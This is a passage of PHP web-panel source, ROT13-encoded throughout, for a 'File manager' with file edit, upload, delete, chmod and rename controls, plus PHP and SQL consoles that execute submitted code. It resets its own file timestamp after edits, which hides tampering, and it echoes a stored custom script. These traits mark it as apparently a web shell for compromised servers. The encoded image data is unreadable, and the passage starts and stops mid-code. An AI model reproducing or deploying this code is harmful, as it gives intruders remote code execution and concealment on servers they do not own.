m30G6EWMR3cgaZH85el1XAFb+dv5dCAb3hwF6C8LhMyaZ1IvqJRyfFkj5YvdhAz5fig/87sBU4c3vP+A7S5tilS1jrnUBjiFSckncYuVfBcMNGVuBBWGjDENddOnZWsVGqlJBPaaPUpWaVv/EAgTV2RApXu5B8xtdGKdF7WT8AKxxkGByYBJ5uPrcxYkZQHmqzmdrScc2VT0lCGd9ZLBFxMOkDdbuGMB2M+ca5zM2l6kyuoY+kJ6Ygl8ryDsWn7BDeNIMYDd2DdobISbb1lbUfzqyI2n/mLaXBMneaviA7plmlghDA5mia//gRfVF4MX2cLMYIl0qJBn9eTb5fwkkrqfX4kHSX4MJOdj8hVd2Xz3IG6igI5rhse0zrx1etI7OlbYOgDSe6jgIPhJSsrip1+1qG1tiJq+1LsdTaEf+SLzXeuGoS5pIs9tb3UwyT4qile+M3WF0dniRhJGCMgWz6rorYM5oQcndy+nKQz4A2qd0Qq9JgB319xKoY5sAXAh7t7MQhnB/CYv8MnsWmf07C1FxICEH+yD27gYqgJUK+T7E7ug7iCL07AKoJ7m3/G7WiggINIIA1JoIMsgW+7C3C66Wdha4yiggKn1BoKUgkjCFN/0UVj6217aH1E3FCIEFw9Le60pBkk++/c3iql0AAt1IwMmT4vAjEUax6spW3/prQGenqbk7eBRU0k92UJpqY2cPziXnEcgGzigoLyh6G8j+0qod3ae8E9fsQ5j0CSy5FiAHlJan6LYGx2slm4lqyM19sv753TQobeM752CB32bCo++6RUGu0xK/v+p7iQiBKCX4qCXl2+HGI7uKzd86K23dqBb8/cCGG8r7aYhneeypn7ahre21r2o36EhrA87q9Y158Eo/1gJrBG3qisA6o/sS9/KsSg1+pvs9mfh72Kpa7d28G7ks9RQgDqyQ3LsIC1i+3Awi3U9djUrt89UpE/pTuLCC/cU1wj9QOL+Mw8hTQLoeawt+BGavC3Y96slaD89xmlnrS/6v/fhhSkLisiwI69sB0MwEbMsly5B/oKly/reN6kzi28oPku6+lKtmZI70IiigjKspqk3ib98CG+E8VU8b/2w5fsIG0Xs7xkzGx/8RN5wm/TZmYqfNNNNTLxgUENQ/NC8N/6P9c5ZNNNNWpRuMpjNNPkZNNNfGNDPnaOtNNNNUqRyAEDspPNjTZuyrTNXBNNNOlRyRDID4l8JGG2fHDEQSs9KGZ+CTVOUqRRDE8rNsttnCUiGhlH+v+N38NS48rsWoXO5mR0VZNIpPvEuDR8tzz111f9zM3My+Uznl5dNL8TOQqGJCrb9UIEs872B9kIi3/WaePltVH406X/doeoC3Iko/dwQ8+BFAgP+IK6EvHleJcKWQ2nraslE3Kf9A3u5eSVj6RNLDkfNVXZSk+psFt0qzSx+dWnDlTh0gijG2XjRMuNADJMTIt3YF83rhcZ2S5lvQxR9jQCM762iDsIHWuVXD7GQnJ8GvnpPB2yAaq6kwyLicz49s5ShAM+KOkcba5OGsJdFmA4NRYNSYd+jFoVYSqKtthbvoHw7+ih0EXT9wrLUx6hVRKVbfDMMvAJLhDFDDGJShLRI3npKGsjqkvgXeDNjhzLvLB3WmPxIGlQJjft+QIME9LAGY3adAQaUkAOd2s1zp2V1NtaNVEEsToIDBnzralD7nl74fV3m+SJJU9nvBeyPSOBnddYbVlvwj+LJUJ9h+PXoTfVp0/f2K0oScUZAHRhXMIDP/2k0zZ00C8vqsNNrgm2RGjT5sn87CabfhuLOBlb8pggZWJ+83qyi/gVy3S+o4PLlc2Gkj2IHjNNNNNRySGxFhDzPP");
}

.svyr {
    onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNLNNNNs8/9uNNNXG2yQD1ODnT90o3Abo3NtFHAQVUOlo2McoTHNNUwnaIAaISCcSw333iEPF4vNyRgiHuHVVSWPv4NHxFLdVDxDFbtubqxIHpREEHHRT8vtvNBBwbPZSIRfQVbX2NsxVnXBt6BVvfe74Khwn9n89+oA/eKKChrf852mmjsNPNlJFQAEALNZdHVrRrPQk8GT4rDhDVRXWUNNRNvmMPSm/FZONCu+CQjeVfNUitNOrAZYPNQNGMiNZOlU/j/dDcypNLPRNpO0xGuYPVNHNRO6wxXzNROTNLPqzPMGNXNRNTQYL2YwNSNgNTNas+oGNVPq+Wy7NDOoyPRINnPENPNGMLuRNTt7NXmCIbcSNStjNOEzF8D5NAtgNQOWI2MVNYP3NZQBRNhlNNtZNQOEvVHcNNE7NTQVVlA4NVFMNOET8yp88FhhRBpdNNO4zoV8hFD5ELSoPP1kO1qKYu4bmxxKXkD2LDWuzxNhjazMTGXOAN/t88jNNXPESEUtt/C9rZ4Bef7BAb62Qy8g6e8T/lWvLhC+5p+epRNNNBS0sgU+YP+mTbN7ObOg/dVy7tEbKthtqsrYMeVCDYHNbBanI/Aj+U48CRJuxYaM2rKx5AuXkRWoLpcKss5ajy/NI/1f+K48/Cs14Y7vWVRlKLSUOCwtjfm0GXHpm5VWuTYp5b9U/YpY//jq0lYRFJX5JPbH41RFpL5RzbmmZdHvvHXFXpHy0i9x4g8f+jZ+3mHNfTb+NKhEYnuqLjC2FlpDJUGN4ipNNCX7o8UHXNtQtTvQ4p93/+8//HrtWDPNMxzFpDNNKxDxYyGXfm/UPNNNEXPOXeOOT/GOTPmNOumOOqmOP/ktAbEPWZGPDuOPPzFNUUWtXnlPDvvTmoNqXzNi1RNqAZOEnVnGpN4hjyJ4Qw1jQ/cuPW7OXYlOPDEOlNtGLFUnvNSvvytwwttKzLK4VpSVOOXYWPQWvOEEVxhEAHtkHbcHVSIVUsV9ptV5u1kThcR7lNNltilTiRpkyVTlHG3HQYIQhnt3TbETbtiDMUDkzb8JbWiDpeDnCLj2brsDd2tC2b8+D8pjjBtLOmCRoQNhkfAPfGtfPMAwl7RveNlekudjIdjQh4a1L8+kqjDFtHKNPGLRq0VtLE5OFSuZJR7LFXttUPD0RqbWAjxQuSUPWlXGdRh0WebE+pDLLwVku1uVYPCJRb8GYkO7vRCRAlDFvHZlW7zDNxzkcSGFRgWT0z5FV+xfdMf0FObwx8anMThlOmzHYPNelVKxarGQ5QCxT+Du8yfXaJWNpnG4H+VbHfcdFuayRBH05DMyzQWOInBnHg2bbIDEAL9nDd2ugyXiHLrbRmE1zwaAtkMWF6JgbcKGTztKnCqce+u0huUqyE5By9OK0ficE+vK6NC0qjjAuuJQk4uaXOzoTNpLMky3TX+LGXLM04fMk1DjAmUezBrMQ5yiIItdgvc8SMUXPcIXyFnITlbiIXzdcderdtgI81KYIV+cKyA9exMIZ1CwdDaHydgIdc1D61ZoH2rcB6vUdzrbo1D/cU5M/LxTJpAZj09QcSTtfI/wiZLtP2ZMf3tfVJfAd4M1tGKRWeUA2Kk2XehL/E27vm2ddnR5DmAXZ1rmHiBHMw8U45uk+Wk0GtaaXXrK836X3uGiXrVcT6L0GYxkMIkedcnKyyveFXgEd0seiGnh7nrqce1Sh1a7tD5Ok0baKPqUM4/BOM3aH9yG3npXckMACGe1ev6dn6HobogRq79hc+6Lae5rtW5Zo6srro3a+uk9Y/1H/J36c/IUQStTfjjxOgfZmut8kGIkomjqY8so8ISQKpAND6IuyJTK4LFEhqR8b9ITwHLCwTaTKBZx423TopnwWtLzVFMYGrcA7ccFGozzXnL7GQgZk83ZmnYA1cx1zm0k1mYaz+ro15isg2OnrSbfgdv2hTIWfhEncyahgekhuIb5JnILIIcqf0ngan0y1ehgh6pEc7yBx06eagMaj7Qkgfz2dopMfBKLOghhgz22sJSaLuqag8Jhj+6GiMA9ha2A/G0UQLsMQdfqJu1+p7ElSQcJBg6nmcmhC33S9WocY2qLmkQC2QCwguCYXpEcaIBo00qaS2r5p4CmvVhWF4YYYcp+Ycfokg3VirEXqCIkKrS60iJqz7Bojh2b26/hAh5c7bspa8j0alzrJGAm0ZCVD+OE5qR/P5+IZTiseU5CD0+OM7KaVl9wY5SKeqrjg6I3diqu7kp+9w5la+Z+4mj33wYrJI/ZA8P3lYsYG8Aiay+S30A/V/9x/3e/0DPatPHOMjBWtHTOJjY7+Uc8Vo+BCmeoMsnl2r1OwXP5DEIOw4XgthKOeFSblBlDeFU355wBxp5cQbIDshwJ0Nqu5zTYj34ZW4JUuIrTC45jvStn0GTKAKsE3RAm30G6EWMR3cgaZH85el1XAFb+dv5dCAb3hwF6C8LhMyaZ1IvqJRyfFkj5YvdhAz5fig/87sBU4c3vP+A7S5tilS1jrnUBjiFSckncYuVfBcMNGVuBBWGjDENddOnZWsVGqlJBPaaPUpWaVv/EAgTV2RApXu5B8xtdGKdF7WT8AKxxkGByYBJ5uPrcxYkZQHmqzmdrScc2VT0lCGd9ZLBFxMOkDdbuGMB2M+ca5zM2l6kyuoY+kJ6Ygl8ryDsWn7BDeNIMYDd2DdobISbb1lbUfzqyI2n/mLaXBMneaviA7plmlghDA5mia//gRfVF4MX2cLMYIl0qJBn9eTb5fwkkrqfX4kHSX4MJOdj8hVd2Xz3IG6igI5rhse0zrx1etI7OlbYOgDSe6jgIPhJSsrip1+1qG1tiJq+1LsdTaEf+SLzXeuGoS5pIs9tb3UwyT4qile+M3WF0dniRhJGCMgWz6rorYM5oQcndy+nKQz4A2qd0Qq9JgB319xKoY5sAXAh7t7MQhnB/CYv8MnsWmf07C1FxICEH+yD27gYqgJUK+T7E7ug7iCL07AKoJ7m3/G7WiggINIIA1JoIMsgW+7C3C66Wdha4yiggKn1BoKUgkjCFN/0UVj6217aH1E3FCIEFw9Le60pBkk++/c3iql0AAt1IwMmT4vAjEUax6spW3/prQGenqbk7eBRU0k92UJpqY2cPziXnEcgGzigoLyh6G8j+0qod3ae8E9fsQ5j0CSy5FiAHlJan6LYGx2slm4lqyM19sv753TQobeM752CB32bCo++6RUGu0xK/v+p7iQiBKCX4qCXl2+HGI7uKzd86K23dqBb8/cCGG8r7aYhneeypn7ahre21r2o36EhrA87q9Y158Eo/1gJrBG3qisA6o/sS9/KsSg1+pvs9mfh72Kpa7d28G7ks9RQgDqyQ3LsIC1i+3Awi3U9djUrt89UpE/pTuLCC/cU1wj9QOL+Mw8hTQLoeawt+BGavC3Y96slaD89xmlnrS/6v/fhhSkLisiwI69sB0MwEbMsly5B/oKly/reN6kzi28oPku6+lKtmZI70IiigjKspqk3ib98CG+E8VU8b/2w5fsIG0Xs7xkzGx/8RN5wm/TZmYqfNNNNTLxgUENQ/NC8N/6P9c5ZNNNNWpRuMpjNNPkZNNNfGNDPnaOtNNNNUqRyAEDspPNjTZGt5KRRGNNNO8xyRDID4l3JFZJ/GDOvTa++7fk3KqqZNVz0axPbuEDvWQFRkqNy/NGRjVCRmxSvLLTEylZlTkZYRkSuOll9NPNnn0tLaQby9k9QLvIf46qCax/j+9973atQW/i7++lNVPw+sV0UN/5MmQh89mwzBwb6lse//jNWOe9r7T4LukJFPESU902dIMqaLk3S8QVDJVZfl1cVRKkFbZsIW50SrQXHepTpjNIPNAR1cgIdbXddXZno+eiMuiZoa1l/jt6qVgVnVNTNOGx5BFWVR9E4NRHSIpp7ICs92jCogyUm3PEg+wdcFB2v328EkKAgruLtVceKB+BAmey3+tgRNRJ0PufZuJML17y5QwBK00khh7bm5RG3xHzrwOgrNGdqQUZrjRX9PCQN/sZIf6kno23gaVi2Ut/S43Wl494tATU54FssTOdsew0ynF3UQDMdzuTTVJ8EJkssa+Qi251g+gr/E3rauRHFJIDATbkS5ahAKkXXTejsiPUoi4X88jzvW6aXjwEvwXZVLDmzsV4ibEVDv3hM39m5oz50mnUKd4i41LQdqttuFybumNZlzBqqi7zTZHWMyV9MdjR0Udbv1S15uWIegPkr+NxtLutGJVfMtbttEjIc7LJPelkvwSJNlTNlrVIXbplYJ1b+b6hpY8Uzrm4QkK+8qNYT7ZrIHNNNNNRySGxFhDzPP");
}
<?=sz_ubzr_fglyr()?>
.vzt {
	onpxtebhaq-vzntr: 
hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNZNNNNbYD9GNNNNOTqOGHRNNX/VAjJX6DNNNqSDGSES7r3g/s39cW+s+pWnwI8d6racxTVz/fSB/+2B393p5hoz/fkoq29lvzqarSt65BGx2mbL6hUv1mNF1peWfUf2altb3Aeo2YOKeLgz2c5N/+uKcbEdcXBxjev46+ie0ZT36Lfm6hwczV6NamHljY+/zKIFzVOA8ojjw1IOlYTmn1MW0AQDwLFO/9AwjM6PjHNfkx0oeMlJj7czTM4N6YgqxUqs/+A8lbj27o5J87EAYMY/2ovC7jNN//TWy5rK4AsLfnnYtc6u1o+g/+6E68Sr89lpvzMq/hDi3e9AhcPO99I25n1pIWooaUuB/8kF+ZOn8sQjv2Wv48dv/+dBqIVmf34k//TBKVmLc5FC/fktdcvVpc+/fvDcpzcfgnlfmFNAhXXG9CG04hYvjVxl8YqR+fIJidnz8r/iY5VM+eyU8pAt08Ppm7nq8iYl9YgH1dlHhM4+e512+8f/jHcY3q3qk7J1sTAn/89M2psU+f5a6Bwbo1Lgf7Xm19sKjVt4c1qA+Cw4mYE0+8cq7fgeuXNf/9uw/9OI1XgsgYF1ac2qLyWFMSII5YEJuRSO5euM/9Wd0UgG//PFxVdW6X5Q+YAAoyIIiwZ047MZm7r31kRT////gXth6jNNNWg0Hx5G/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////jPIIcXLNNNNTKESJUEGo2M0q2SlMDOOMT9vMFOWoJSaMIWyLJE5ppyyCNNNNAMWERSHXSAwzXJvCDfMZZkvzfdCXcNo2ZfNMAwYBjxmttIzWLalcf/DR59rXPRgOunLSEswMhGuU27yL6xdOkLbeF/BZP5jvUMxy2DPPIGxA+gegSw4MFcZznjQSOQ0yPblamMOy1aVWw55RyON09cqip9ohG1FLXLOJj1DVP0bALfweSUWcFxiELfOXPPoZ9UYA9gJeodawHHTMT1NuThVKMEmcDy3nTjQ2O2pMM2mRbY7J+h6dlNhaMKVBZiDeSlxdjGvSmODABKw4DXmbNXmnwgLVDjNyigcy3I5p8ZNNNNNFHIBEX5PLVV=");
}
@zrqvn fperra naq (znk-jvqgu:720ck){
  gnoyr{qvfcynl:oybpx;}
    #sz_gnoyr gq{qvfcynl:vayvar;sybng:yrsg;}
    #sz_gnoyr gobql gq:svefg-puvyq{jvqgu:100%;cnqqvat:0;}
    #sz_gnoyr gobql ge:agu-puvyq(2a+1){onpxtebhaq-pbybe:#RSRSRS;}
    #sz_gnoyr gobql ge:agu-puvyq(2a){onpxtebhaq-pbybe:#QRR3R7;}
    #sz_gnoyr ge{qvfcynl:oybpx;sybng:yrsg;pyrne:yrsg;jvqgu:100%;}
	#urnqre_gnoyr .ebj2, #urnqre_gnoyr .ebj3 {qvfcynl:vayvar;sybng:yrsg;jvqgu:100%;cnqqvat:0;}
	#urnqre_gnoyr gnoyr gq {qvfcynl:vayvar;sybng:yrsg;}
}
</fglyr>
</urnq>
<obql>
<?cuc
$hey_vap = '?sz=gehr';
vs (vffrg($_CBFG['fdyeha'])&&!rzcgl($sz_pbasvt['ranoyr_fdy_pbafbyr'])){
	$erf = rzcgl($_CBFG['fdy']) ? '' : $_CBFG['fdy'];
	$erf_yat = 'fdy';
} ryfrvs (vffrg($_CBFG['cuceha'])&&!rzcgl($sz_pbasvt['ranoyr_cuc_pbafbyr'])){
	$erf = rzcgl($_CBFG['cuc']) ? '' : $_CBFG['cuc'];
	$erf_yat = 'cuc';
} 
vs (vffrg($_TRG['sz_frggvatf'])) {
	rpub ' 
<gnoyr pynff="jubyr">
<sbez zrgubq="cbfg" npgvba="">
<ge><gu pbyfcna="2">'.__('Svyr znantre').' - '.__('Frggvatf').'</gu></ge>
'.(rzcgl($zft)?'':'<ge><gq pynff="ebj2" pbyfcna="2">'.$zft.'</gq></ge>').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj fvmr bs gur sbyqre'),'fubj_qve_fvmr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('cvpgherf'),'fubj_vzt').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Znxr qverpgbel'),'znxr_qverpgbel').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Arj svyr'),'arj_svyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Hcybnq'),'hcybnq_svyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC irefvba','fubj_cuc_ire').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC vav','fubj_cuc_vav').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Trarengvba gvzr'),'fubj_tg').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' kyf','fubj_kyf').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC '.__('Pbafbyr'),'ranoyr_cuc_pbafbyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' FDY '.__('Pbafbyr'),'ranoyr_fdy_pbafbyr').'
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_freire]" inyhr="'.$sz_pbasvt['fdy_freire'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY freire</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_hfreanzr]" inyhr="'.$sz_pbasvt['fdy_hfreanzr'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY hfre</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_cnffjbeq]" inyhr="'.$sz_pbasvt['fdy_cnffjbeq'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY cnffjbeq</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_qo]" inyhr="'.$sz_pbasvt['fdy_qo'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY QO</gq></ge>
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' Cebkl','ranoyr_cebkl').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' cucvasb()','fubj_cucvasb').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Frggvatf'),'sz_frggvatf').'
'.sz_pbasvt_purpxobk_ebj(__('Erfgber svyr gvzr nsgre rqvgvat'),'erfgber_gvzr').'
'.sz_pbasvt_purpxobk_ebj(__('Svyr znantre').': '.__('Erfgber svyr gvzr nsgre rqvgvat'),'sz_erfgber_gvzr').'
<ge><gq pynff="ebj3"><n uers="'.sz_hey().'?sz_frggvatf=gehr&sz_pbasvt_qryrgr=gehr">'.__('Erfrg frggvatf').'</n></gq><gq pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Fnir').'" anzr="sz_pbasvt[sz_frg_fhozvg]"></gq></ge>
</sbez>
</gnoyr>
<gnoyr>
<sbez zrgubq="cbfg" npgvba="">
<ge><gu pbyfcna="2">'.__('Frggvatf').' - '.__('Nhgubevmngvba').'</gu></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[nhgubevmr]" inyhr="1" '.($nhgu['nhgubevmr']?'purpxrq':'').' glcr="purpxobk" vq="nhgu"></gq><gq pynff="ebj2 jubyr"><ynory sbe="nhgu">'.__('Nhgubevmngvba').'</ynory></gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[ybtva]" inyhr="'.$nhgu['ybtva'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Ybtva').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[cnffjbeq]" inyhr="'.$nhgu['cnffjbeq'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Cnffjbeq').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[pbbxvr_anzr]" inyhr="'.$nhgu['pbbxvr_anzr'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Pbbxvr').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[qnlf_nhgubevmngvba]" inyhr="'.$nhgu['qnlf_nhgubevmngvba'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Qnlf').'</gq></ge>
<ge><gq pynff="ebj1"><grkgnern anzr="sz_ybtva[fpevcg]" pbyf="35" ebjf="7" pynff="grkgnern_vachg" vq="nhgu_fpevcg">'.$nhgu['fpevcg'].'</grkgnern></gq><gq pynff="ebj2 jubyr">'.__('Fpevcg').'</gq></ge>
<ge><gq pbyfcna="2" pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Fnir').'" ></gq></ge>
</sbez>
</gnoyr>';
rpub sz_gcy_sbez('cuc'),sz_gcy_sbez('fdy');
} ryfrvs (vffrg($cebkl_sbez)) {
	qvr($cebkl_sbez);
} ryfrvs (vffrg($erf_yat)) {	
?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj2"><gnoyr><ge><gq><u2><?=fgegbhccre($erf_yat)?> <?=__('Pbafbyr')?><?cuc
	vs($erf_yat=='fdy') rpub ' - Qngnonfr: '.$sz_pbasvt['fdy_qo'].'</u2></gq><gq>'.sz_eha_vachg('cuc');
	ryfr rpub '</u2></gq><gq>'.sz_eha_vachg('fdy');
	?></gq></ge></gnoyr></gq>
</ge>
<ge>
    <gq pynff="ebj1">
		<n uers="<?=$hey_vap.'&cngu=' . $cngu;?>"><?=__('Onpx')?></n>
		<sbez npgvba="" zrgubq="CBFG" anzr="pbafbyr">
		<grkgnern anzr="<?=$erf_yat?>" pbyf="80" ebjf="10" fglyr="jvqgu: 90%"><?=$erf?></grkgnern><oe/>
		<vachg glcr="erfrg" inyhr="<?=__('Erfrg')?>">
		<vachg glcr="fhozvg" inyhr="<?=__('Fhozvg')?>" anzr="<?=$erf_yat?>eha">
<?cuc
$fge_gzcy = $erf_yat.'_grzcyngrf';
$gzcy = !rzcgl($$fge_gzcy) ? wfba_qrpbqr($$fge_gzcy,gehr) : '';
vs (!rzcgl($gzcy)){
	$npgvir = vffrg($_CBFG[$erf_yat.'_gcy']) ? $_CBFG[$erf_yat.'_gcy'] : '';
	$fryrpg = '<fryrpg anzr="'.$erf_yat.'_gcy" gvgyr="'.__('Grzcyngr').'" bapunatr="vs (guvf.inyhr!=-1) qbphzrag.sbezf[\'pbafbyr\'].ryrzragf[\''.$erf_yat.'\'].inyhr = guvf.bcgvbaf[fryrpgrqVaqrk].inyhr; ryfr qbphzrag.sbezf[\'pbafbyr\'].ryrzragf[\''.$erf_yat.'\'].inyhr =\'\';" >'."\a";
	$fryrpg .= '<bcgvba inyhr="-1">' . __('Fryrpg') . "</bcgvba>\a";
	sbernpu ($gzcy nf $xrl=>$inyhr){
		$fryrpg.='<bcgvba inyhr="'.$inyhr.'" '.((!rzcgl($inyhr)&&($inyhr==$npgvir))?'fryrpgrq':'').' >'.__($xrl)."</bcgvba>\a";
	}
	$fryrpg .= "</fryrpg>\a";
	rpub $fryrpg;
}
?>
		</sbez>
	</gq>
</ge>
</gnoyr>
<?cuc
	vs (!rzcgl($erf)) {
		$sha='sz_'.$erf_yat;
		rpub '<u3>'.fgegbhccre($erf_yat).' '.__('Erfhyg').'</u3><cer>'.$sha($erf).'</cer>';
	}
} ryfrvs (!rzcgl($_ERDHRFG['rqvg'])){
	vs(!rzcgl($_ERDHRFG['fnir'])) {
		$sa = $cngu . $_ERDHRFG['rqvg'];
		$svyrzgvzr = svyrzgvzr($sa);
	    vs (svyr_chg_pbagragf($sa, $_ERDHRFG['arjpbagrag'])) $zft .= __('Svyr hcqngrq');
		ryfr $zft .= __('Reebe bppheerq');
		vs ($_TRG['rqvg']==onfranzr(__SVYR__)) {
			gbhpu(__SVYR__,1415116371);
		} ryfr {
			vs (!rzcgl($sz_pbasvt['erfgber_gvzr'])) gbhpu($sa,$svyrzgvzr);
		}
	}
    $byqpbagrag = @svyr_trg_pbagragf($cngu . $_ERDHRFG['rqvg']);
    $rqvgyvax = $hey_vap . '&rqvg=' . $_ERDHRFG['rqvg'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;
?>
<gnoyr obeqre='0' pryyfcnpvat='0' pryycnqqvat='1' jvqgu="100%">
<ge>
    <gu><?=__('Svyr znantre').' - '.__('Rqvg').' - '.$cngu.$_ERDHRFG['rqvg']?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=sz_ubzr()?> <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$rqvgyvax?>">
            <grkgnern anzr="arjpbagrag" vq="arjpbagrag" pbyf="45" ebjf="15" fglyr="jvqgu:99%" fcryypurpx="snyfr"><?=ugzyfcrpvnypunef($byqpbagrag)?></grkgnern>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
            <vachg glcr="fhozvg" anzr="pnapry" inyhr="<?=__('Pnapry')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
rpub $nhgu['fpevcg'];
} ryfrvs(!rzcgl($_ERDHRFG['evtugf'])){
	vs(!rzcgl($_ERDHRFG['fnir'])) {
	    vs(sz_puzbq($cngu . $_ERDHRFG['evtugf'], sz_pbaireg_evtugf($_ERDHRFG['evtugf_iny']), @$_ERDHRFG['erphefviryl']))
		$zft .= (__('Svyr hcqngrq')); 
		ryfr $zft .= (__('Reebe bppheerq'));
	}
	pyrnefgngpnpur();
    $byqevtugf = sz_evtugf_fgevat($cngu . $_ERDHRFG['evtugf'], gehr);
    $yvax = $hey_vap . '&evtugf=' . $_ERDHRFG['evtugf'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;
?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$yvax?>">
           <?=__('Evtugf').' - '.$_ERDHRFG['evtugf']?> <vachg glcr="grkg" anzr="evtugf_iny" inyhr="<?=$byqevtugf?>">
        <?cuc vs (vf_qve($cngu.$_ERDHRFG['evtugf'])) { ?>
            <vachg glcr="purpxobk" anzr="erphefviryl" inyhr="1"> <?=__('Erphefviryl')?><oe/>
        <?cuc } ?>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
} ryfrvs (!rzcgl($_ERDHRFG['eranzr'])&&$_ERDHRFG['eranzr']<>'.') {
	vs(!rzcgl($_ERDHRFG['fnir'])) {
	    eranzr($cngu . $_ERDHRFG['eranzr'], $cngu . $_ERDHRFG['arjanzr']);
		$zft .= (__('Svyr hcqngrq'));
		$_ERDHRFG['eranzr'] = $_ERDHRFG['arjanzr'];
	}
	pyrnefgngpnpur();
    $yvax = $hey_vap . '&eranzr=' . $_ERDHRFG['eranzr'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;

?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$yvax?>">
            <?=__('Eranzr')?>: <vachg glcr="grkg" anzr="arjanzr" inyhr="<?=$_ERDHRFG['eranzr']?>"><oe/>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
} ryfr {
//Yrg'f ebpx!
    $zft = '';
    vs(!rzcgl($_SVYRF['hcybnq'])&&!rzcgl($sz_pbasvt['hcybnq_svyr'])) {
        vs(!rzcgl($_SVYRF['hcybnq']['anzr'])){
            $_SVYRF['hcybnq']['anzr'] = fge_ercynpr('%', '', $_SVYRF['hcybnq']['anzr']);
            vs(!zbir_hcybnqrq_svyr($_SVYRF['hcybnq']['gzc_anzr'], $cngu . $_SVYRF['hcybnq']['anzr'])){
                $zft .= __('Reebe bppheerq');
            } ryfr {
				$zft .= __('Svyrf hcybnqrq').': '.$_SVYRF['hcybnq']['anzr'];
			}
        }
    } ryfrvs(!rzcgl($_ERDHRFG['qryrgr'])&&$_ERDHRFG['qryrgr']<>'.') {
        vs(!sz_qry_svyrf(($cngu . $_ERDHRFG['qryrgr']), gehr)) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			$zft .= __('Qryrgrq').' '.$_ERDHRFG['qryrgr'];
		}
	} ryfrvs(!rzcgl($_ERDHRFG['zxqve'])&&!rzcgl($sz_pbasvt['znxr_qverpgbel'])) {
        vs(!@zxqve($cngu . $_ERDHRFG['qveanzr'],0777)) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			$zft .= __('Perngrq').' '.$_ERDHRFG['qveanzr'];
		}
    } ryfrvs(!rzcgl($_CBFG['frnepu_erphefvir'])) {
		vav_frg('znk_rkrphgvba_gvzr', '0');
		$frnepu_qngn =  svaq_grkg_va_svyrf($_CBFG['cngu'], $_CBFG['znfx'], $_CBFG['frnepu_erphefvir']);
		vs(!rzcgl($frnepu_qngn)) {
